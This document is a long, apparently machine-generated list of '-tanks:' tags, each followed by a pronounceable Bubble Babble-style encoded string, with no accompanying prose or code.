-tanks:xugav-syfit-vycyx -tanks:xenaz-bytuz-kadix -tanks:xuvid-gypem-vunex -tanks:xuhon-kanih-tysox -tanks:xosac-pahar-nusyx -tanks:xomec-kihap-kerux -tanks:ximef-nugul-cypex -tanks:xoped-kotik-duryx -tanks:xukoh-gyziv-hogox -tanks:xonon-lavac-zedux -tanks:xudem-nigop-fezax -tanks:xelot-pozin-tedex -tanks:xesit-befyb-sisix -tanks:xigag-velal-petix -tanks:ximel-ladev-pifix -tanks:xufon-lyhub-cypax -tanks:xuhas-subev-danyx -tanks:xivab-gydyt-besox -tanks:xezot-himuk-tulex -tanks:xetem-nucim-kuzix -tanks:xeboz-lonoz-mifax -tanks:xedez-kivug-cecox -tanks:xumab-vybaf-fupex -tanks:xosah-batub-pobyx -tanks:xevet-curar-ropix -tanks:xuzaf-rulyv-lasax -tanks:xifiz-zinuh-lolyx -tanks:xofas-cucuh-sezex -tanks:xizog-tykym-rukyx -tanks:xibop-bekaf-minex -tanks:xomor-kugar-matex -tanks:xemot-myrys-tanux -tanks:xucen-kykyh-zekex -tanks:xubon-gomep-lipix -tanks:xusob-ripet-tarix -tanks:xefis-zarak-tyzax -tanks:xelad-gyhom-nigyx -tanks:xizeb-zukit-pamix -tanks:xucem-hapef-tekux -tanks:xomim-dypit-torex -tanks:xozen-zalom-durix -tanks:xemaz-dadon-lucix -tanks:xucen-hylon-mevyx -tanks:xuleh-fotus-zilux -tanks:ximep-byvug-pozax -tanks:xuvif-dinab-rivyx -tanks:xunih-vykuf-kudix -tanks:xumel-sepud-ripux -tanks:xizah-hakof-pivox -tanks:xovol-vedof-bavix -tanks:xoled-pemyv-pipox -tanks:xogoz-nydys-pykex -tanks:ximov-fekyt-sutux -tanks:xever-kynib-serix -tanks:xuzav-cobuc-byhux -tanks:xobeh-butyd-sezox -tanks:xiros-bubem-mypex -tanks:xepem-diker-kazax -tanks:xufet-polir-kabox -tanks:xelit-guhyl-domex -tanks:xosen-vuvyk-kypux -tanks:xivok-sysek-bavyx -tanks:xunas-hahil-lokix -tanks:xefik-kukud-bubix -tanks:xocid-pobip-dumex -tanks:xihec-bubeg-fylox -tanks:xemez-nafob-pupox -tanks:xufag-kanat-hufox -tanks:xohil-gelad-parix -tanks:xecid-dypip-fapux -tanks:xocab-votim-panox -tanks:xuhet-sepes-cedux -tanks:xepes-hylun-tihux -tanks:xirar-tybip-togix -tanks:xoseg-sezeb-comix -tanks:xuham-marel-nanux -tanks:xumef-naziv-gacax -tanks:xifek-sakon-gabex -tanks:xotef-dygap-getix -tanks:xetap-colus-covex -tanks:xebig-balud-bylex -tanks:xuhev-lilym-bopux -tanks:xenis-susuz-bitex -tanks:xekir-neduf-zysex -tanks:xifal-cunaz-pydax -tanks:xubeh-robir-kepix -tanks:xesef-pybum-defax -tanks:xulin-pagog-hupix -tanks:xesef-salyc-nivyx -tanks:xigon-kecut-lomax -tanks:xuges-mimun-zorux -tanks:xecas-katun-myhex -tanks:xogir-baviz-venyx -tanks:xoliv-cyfah-fivox -tanks:xifip-zimur-cetox -tanks:xufah-mobep-cucax -tanks:xohaf-pityr-munux -tanks:xobic-kudim-vomox -tanks:xufin-pyrug-rydix -tanks:xovem-vuciz-sifyx -tanks:xeseb-pasyk-hofex -tanks:xotel-hador-retix -tanks:xofed-gyfoh-telax -tanks:xihas-bigez-buvux -tanks:xizot-kykyc-nucex -tanks:xibol-puryv-myfex -tanks:xocet-beluf-sibix -tanks:xupoc-vatyt-popex -tanks:xedar-cyluf-fucox -tanks:xobek-ficeh-pobyx -tanks:xinod-myvez-byrox -tanks:xugid-kovov-hodax -tanks:xuriv-sasyl-febix -tanks:xecok-nydul-zuzux -tanks:xitok-kulet-rakox -tanks:xohan-hidav-gotox -tanks:xolen-dilup-dubox -tanks:xokoh-tekav-fepyx -tanks:xedot-nigef-henix -tanks:xesob-zazos-kogox -tanks:xozik-hyrac-kekox -tanks:xinip-kysyh-rydex -tanks:xobah-gikud-nesux -tanks:xozem-hofyp-sacux -tanks:xebes-petev-capax -tanks:xoval-gisak-vasyx -tanks:xitil-lopyz-zasix -tanks:xodin-mufes-vifix -tanks:xufof-loceh-vovox -tanks:xoker-cyhed-hilyx -tanks:xepob-dycym-bavix -tanks:xugok-kevad-lozyx -tanks:xugid-lunel-podyx -tanks:xizoh-fibip-fesyx -tanks:xeror-gugor-vabox -tanks:xolid-pivod-bulex -tanks:xilam-hifyk-guvex -tanks:xehar-sozek-sakyx -tanks:xofap-safon-vezyx -tanks:xocip-dozed-dinax -tanks:xipik-rodad-nytix -tanks:xipev-cabak-pycyx -tanks:xufin-bumit-zynyx -tanks:xugim-myfev-hyvex -tanks:xugap-ripif-bakax -tanks:xosah-savap-tahux -tanks:xotos-rudiv-pekix -tanks:xerig-vydoc-rodex -tanks:ximiz-pilek-pycox -tanks:xobef-dunym-luzox -tanks:xilib-rosar-titix -tanks:xekac-hygyg-tycox -tanks:xomid-mopuh-febyx -tanks:xunab-tadef-teryx -tanks:xezig-lamod-hepux -tanks:xitom-rykin-fafyx -tanks:xemab-nygof-fopox -tanks:xikol-setur-rymax -tanks:xenen-cokip-mitax -tanks:xezim-dabeg-nosox -tanks:xeped-voguk-kigax -tanks:xubih-fific-dytyx -tanks:xefaz-dufih-cynix -tanks:xumin-hibul-kalax -tanks:xitad-byvyv-byhix -tanks:xicen-tukyc-barex -tanks:xulab-gimog-zuvux -tanks:xucir-lisaf-vulix -tanks:xemid-sazid-busox -tanks:xepan-pifud-symox -tanks:xubap-hiral-kazix -tanks:xugis-metas-tivax -tanks:xetiv-tiger-polux -tanks:xocif-fubuc-tisox -tanks:xuhim-nyzad-tubyx -tanks:xisin-tipag-razox -tanks:xomir-suleg-fodix -tanks:xocak-guvyz-debix -tanks:xuneg-zezar-henex -tanks:xiloc-sosuh-mulyx -tanks:xinaz-sokat-putux -tanks:xecec-herev-pazax -tanks:xegiz-nybuv-hapax -tanks:xulap-comuv-tovox -tanks:xucan-syvyn-bycix -tanks:xuhet-sirel-dikax -tanks:xomad-linys-kabyx -tanks:xolot-baryz-rizux -tanks:xubot-gupav-ruvux -tanks:xovod-vekac-kusix -tanks:xomid-dulob-fotax -tanks:xonen-tofab-cufax -tanks:xufib-zevun-muzux -tanks:xitig-vyhes-makux -tanks:xozib-gober-hitix -tanks:xiloc-famah-ladex -tanks:xotez-pabig-zozyx -tanks:xugap-ribuz-pudex -tanks:xovit-lepil-vuzex -tanks:xomap-timip-ranyx -tanks:xogoc-zohuk-sazex -tanks:xomir-nykad-dikix -tanks:xebiz-pypym-tyhox -tanks:xenig-casyh-nitax -tanks:xunom-caboc-legix -tanks:xuloh-pokev-lekox -tanks:xuhav-zerov-gymix -tanks:xisah-tinoh-gulux -tanks:xutom-godec-zibux -tanks:xusev-conin-begix -tanks:xibas-zefok-rakux -tanks:xekid-tysol-tofex -tanks:xokab-mygan-fityx -tanks:xekiz-sukeb-lipex -tanks:xogec-gosah-vedex -tanks:xedol-mukyh-dobyx -tanks:xomok-fylus-zokix -tanks:ximeh-hudom-rabax -tanks:xihon-lanug-dicix -tanks:xogil-cisys-kosux -tanks:xumov-bekak-simox -tanks:xezar-siroh-latax -tanks:xunab-gazun-mafox -tanks:xukim-menos-refox -tanks:xutos-mogaf-ruvox -tanks:xubik-kupas-zonux -tanks:xuzom-hugyt-virux -tanks:xebig-tasym-rohux -tanks:xovah-novud-ponex -tanks:xorez-zisec-vitex -tanks:xokev-dahog-mykix -tanks:xehed-lipom-burax -tanks:xefan-nodes-hekux -tanks:ximig-radoc-gynax -tanks:xecap-cizud-tyrex -tanks:xuhez-lunuh-kirux -tanks:xopes-tupyk-dalyx -tanks:xipiv-lohek-dymyx -tanks:xiver-somyb-hycox -tanks:xuran-rimuc-bupox -tanks:ximin-hamit-mycex -tanks:xuzac-tuzys-rogax -tanks:xolil-hakik-katyx -tanks:xiloc-povyh-kerax -tanks:xerom-fubim-pavyx -tanks:xefeh-vahum-sasox -tanks:xogab-baced-cimix -tanks:xumoz-zobur-rutex -tanks:xigam-lunyp-rugyx -tanks:xuhin-focag-calex -tanks:xocot-pesuf-mehax -tanks:xikab-makyt-kimox -tanks:xuref-lukeb-kurux -tanks:xiroh-ciryt-pyrex -tanks:xepoz-kemug-kotax -tanks:xodah-nyroc-hizux -tanks:xicar-syfac-gabox -tanks:xokav-pefep-dagex -tanks:xefom-rameb-pidyx -tanks:xodag-fupon-sicax -tanks:xekot-zucuc-hufix -tanks:xedal-syviz-kytax -tanks:xolal-byruh-fonax -tanks:xolom-bepan-tagex -tanks:xulak-nemer-dimux -tanks:xepov-vynif-lavax -tanks:xeseb-gekev-tikax -tanks:xotap-rorid-dihyx -tanks:xovob-cipoz-tunix -tanks:xubag-basik-ramix -tanks:xipon-fedap-pucix -tanks:xokez-panaz-gicix -tanks:xohab-gefaf-gulyx -tanks:xeviv-dovyt-gafux -tanks:xutot-camip-gilax -tanks:ximes-mibod-bigux -tanks:xofap-tamid-mulox -tanks:xikic-risud-patyx -tanks:xuges-mazib-kahux -tanks:xecog-benid-hymyx -tanks:xepit-hosoh-dykux -tanks:xodal-cugal-zunox -tanks:xotor-zohak-husyx -tanks:xotob-caken-patox -tanks:xoten-levaf-zirex -tanks:xomat-tubym-musex -tanks:xebiv-rolat-gimix -tanks:xopeb-zykus-mycox -tanks:xesep-buvom-pefyx -tanks:xibef-hycip-merux -tanks:xecal-mafuk-bomux -tanks:xozos-daceh-rucix -tanks:xeraz-bumus-hidox -tanks:xukig-zynag-nefyx -tanks:xohaf-tesyc-gatex -tanks:xucit-ryvuf-zufax -tanks:xenif-racoh-kuhux -tanks:xisoz-sisoz-kyrax -tanks:xozir-hysob-pefix -tanks:xomim-nesoz-lemix -tanks:xolec-kefiv-herox -tanks:xebeb-dubyl-motex -tanks:xofog-tobof-kegux -tanks:xumob-syrav-mulax -tanks:xopez-sahen-pifyx -tanks:xelad-zufak-kifux -tanks:xocat-zanah-rokox -tanks:xupin-zyliv-gepux -tanks:xuhip-tyzyn-pygyx -tanks:xudic-hezer-duhox -tanks:xoseh-zonob-lydix -tanks:xocaz-gogod-sofex -tanks:xolag-bycom-curyx -tanks:xuvim-sybyk-megix -tanks:xogom-susuf-hunax -tanks:xules-sadav-fopox -tanks:xicod-puzak-nabox -tanks:xukap-mapug-zasix -tanks:xorav-fotyp-vapix -tanks:xopab-nurez-myfex -tanks:xubat-gohip-lycox -tanks:xorar-mosag-mavex -tanks:xufah-lutib-hatux -tanks:xudal-zitab-ramux -tanks:xipar-bylib-zofux -tanks:xomok-hahof-sulix -tanks:xukag-kucov-pogyx -tanks:xucis-zynys-behux -tanks:xucid-sucaf-hyzix -tanks:xonin-gizyp-zosax -tanks:xumom-luzam-suzix -tanks:xunop-bavug-lobax -tanks:xileg-hyped-gorux -tanks:xidat-pikob-sinax -tanks:xesef-zadoh-vulux -tanks:xogon-zaler-fohux -tanks:xuhaz-curem-sarux -tanks:xenot-lofag-valox -tanks:xusog-myzon-mugox -tanks:xezam-hafyt-gemox -tanks:xipor-vogef-fabox -tanks:xuvol-lulep-hihux -tanks:xuzol-tuluv-hibyx -tanks:xikof-conos-gebex -tanks:xehal-rynin-lecax -tanks:xocal-tyzec-pykix -tanks:xihak-vefyt-tetax -tanks:xuman-tuhop-fozix -tanks:xiheb-dusyc-muzex -tanks:xuvec-rikot-hecax -tanks:xolar-turar-cigyx -tanks:xifez-gital-rasux -tanks:xuroh-cohak-civix -tanks:xekom-gypir-volix -tanks:xugit-pevag-zopox -tanks:xevac-sekap-nivyx -tanks:xecib-tilum-lugux -tanks:xelor-bimif-kovyx -tanks:ximan-tapop-fipyx -tanks:xidoh-morub-verex -tanks:xeran-davyf-ligax -tanks:xiran-pohuh-valex -tanks:xufil-tadar-rityx -tanks:xuper-revaz-vysyx -tanks:xodev-vonyc-lycux -tanks:xesah-ragos-vasux -tanks:xipet-rykuc-culox -tanks:ximoh-fomyr-bidex -tanks:xedeh-zozat-lydyx -tanks:ximac-socaf-dahux -tanks:xehad-desid-tycax -tanks:ximel-pulyt-carux -tanks:xolar-bitor-fevyx -tanks:xevag-zyfin-gabox -tanks:xucav-hakok-hadox -tanks:xucot-pucin-relax -tanks:xenar-cozap-kivax -tanks:xufom-safor-vucox -tanks:xihip-ruvyd-tobyx -tanks:xohez-rukat-nugux -tanks:xumir-hudaf-sarux -tanks:xosis-rizug-hyfex -tanks:xucip-kahus-dupyx -tanks:xidoz-buzyk-magex -tanks:xomib-vutis-gobyx -tanks:xeset-zudag-gyzix -tanks:xizis-hugok-hyfox -tanks:xotor-rudiv-zirex -tanks:xemed-hatuz-hugox -tanks:xoper-vyfuh-zudox -tanks:xidem-gabal-kyrix -tanks:xihab-kedos-cibax -tanks:xipan-vytyf-dapyx -tanks:xotof-nafog-kizax -tanks:xizib-hecer-cosax -tanks:xinas-leveb-nupix -tanks:xuvoc-torun-nypux -tanks:xonam-zinen-nozux -tanks:xorah-gacyz-sonyx -tanks:xecob-pucek-bagix -tanks:xubar-vatyp-bavex -tanks:xures-luzat-necux -tanks:xugah-gunif-posex -tanks:xovep-luvef-gefex -tanks:xofip-cuvoz-katex -tanks:xogoz-mebak-sabax -tanks:xikat-bulib-canox -tanks:xihez-zyzuk-bigyx -tanks:xigok-pomob-sosox -tanks:xopeg-byguc-dabyx -tanks:xurag-pylov-mefyx -tanks:xubat-gevuh-hyfox -tanks:xotoz-rifeh-ridox -tanks:xovez-hurev-nydux -tanks:xehek-lyhad-celax -tanks:xegim-ludon-kurax -tanks:xifag-vunon-zefex -tanks:xerih-mison-higax -tanks:xebiv-buzyn-zakix -tanks:xigap-gyzir-memax -tanks:xecel-sovyb-papux -tanks:xosen-fihyr-lybix -tanks:xuvib-cezyz-syhex -tanks:xogif-cudik-pulox -tanks:xonel-zakar-pelox -tanks:xiben-vemeg-kunix -tanks:xezak-tarak-makax -tanks:xineb-betad-cytax -tanks:xubit-zysob-dalax -tanks:xozoc-popam-befyx -tanks:xitom-tosum-cezox -tanks:xikef-povor-rokux -tanks:xizit-lukuv-gylix -tanks:xihil-zoboc-cudix -tanks:xedot-turor-gypux -tanks:xitot-vakip-bunox -tanks:xevem-dikev-palux -tanks:xehic-zyrot-gakux -tanks:xikar-begom-cikyx -tanks:xobog-cyciv-zugyx -tanks:xufil-gygyd-sicex -tanks:xelic-mygyh-mehix -tanks:xudol-zadaf-rofux -tanks:xelim-hinyp-cugyx -tanks:xigof-viges-zahyx -tanks:xenes-fusev-kehax -tanks:xuval-gusub-zapex -tanks:xocak-hepor-tazyx -tanks:xilot-muzuc-sotyx -tanks:xucek-donet-nokox -tanks:xiloz-dabiz-vygux -tanks:xofet-pykaf-horex -tanks:xiziv-pemof-hobyx -tanks:xizel-vusen-fezox -tanks:xutap-rovor-hykix